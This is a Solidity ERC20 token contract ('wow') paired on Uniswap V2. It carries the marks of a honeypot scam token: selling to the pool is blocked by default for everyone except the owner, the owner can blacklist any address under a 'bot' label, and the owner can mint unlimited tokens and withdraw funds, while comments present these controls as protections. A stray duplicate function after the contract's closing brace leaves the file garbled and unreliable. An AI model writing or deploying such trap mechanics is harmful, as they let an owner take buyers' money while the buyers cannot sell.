contract wow is Context, IERC20, Ownable {
    using Address for address;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    mapping(address => bool) private _IsBot;

    
    bool public buyingOpen = false; //once switched on, can never be switched off.
    bool public sellingDisabled=true; //once selling is enabled, can never be disabled again.


    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    constructor(string memory name_, string memory symbol_, uint256 initialSupply) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, initialSupply * 10**18);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!_IsBot[recipient], "You are blocked for malicious bot activity!");
        require(!_IsBot[msg.sender], "You are blocked for malicious bot activity!");

            if(sender != owner() && recipient != owner()) {
            
            if (!buyingOpen) {
                if (!(sender == address(this) || recipient == address(this)
                || sender == address(owner()) || recipient == address(owner()))) {
                    require(buyingOpen, "Buying is not yet enabled");
                }
            }
            }
            
        if (recipient == uniswapV2Pair) {
            if (sellingDisabled) {
                         if (!(sender == address(this) || recipient == address(this)
                || sender == address(owner()) || recipient == address(owner()))) {
                    require(!sellingDisabled, "Selling is not yet enabled");
                }
            }
        }

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


      //Function can only be called once. Buying cannot be disabled.
    function enableBuying() external onlyOwner { 
        buyingOpen = true;
    }

    //Function can only be called once. Selling cannot be disabled.
    function Enableselling() public onlyOwner { 
        sellingDisabled = false;
    }

    // Blacklist bot addresses acting maliciously.
    function setBots(address[] memory bots_) public onlyOwner { 
        for (uint256 i = 0; i < bots_.length; i++) {
            _IsBot[bots_[i]] = true;
        }
    }

    //Find out if address is blacklisted for malicious bot activity. Returns true or false.
    function isBot(address account) public view returns (bool) { 
        return _IsBot[account];
    }
  
    // Remove addresses from blacklisted bots list.
    function delBot(address notbot) public onlyOwner { 
        _IsBot[notbot] = false;
    }
    
    // To withdraw any ERC20 tokens that mistakenly get sent to the contract address.
    function sendTokenTo(IERC20 token, address recipient, uint256 amount) external onlyOwner() { 
        token.transfer(recipient, amount);

    }
  
    //Returns current ETH balance of contract.
    function getETHBalance() public view returns(uint) { 
        return address(this).balance;
    }

    // To withdraw any ETH that mistakenly gets sent to the contract address.
    function sendETHTo(address payable _to) external onlyOwner() { 
        _to.transfer(getETHBalance());
    }

    //Mints new tokens to address.
      function mint(address to, uint256 amount) external onlyOwner()   { 
        _mint(to, amount * 10**18);
    }
    
    receive() external payable {}
}
function isBot(address account) public view returns (bool) { 
    return _IsBot[account];
}

//Find out if address is blacklisted for malicious bot activity. Returns true or false.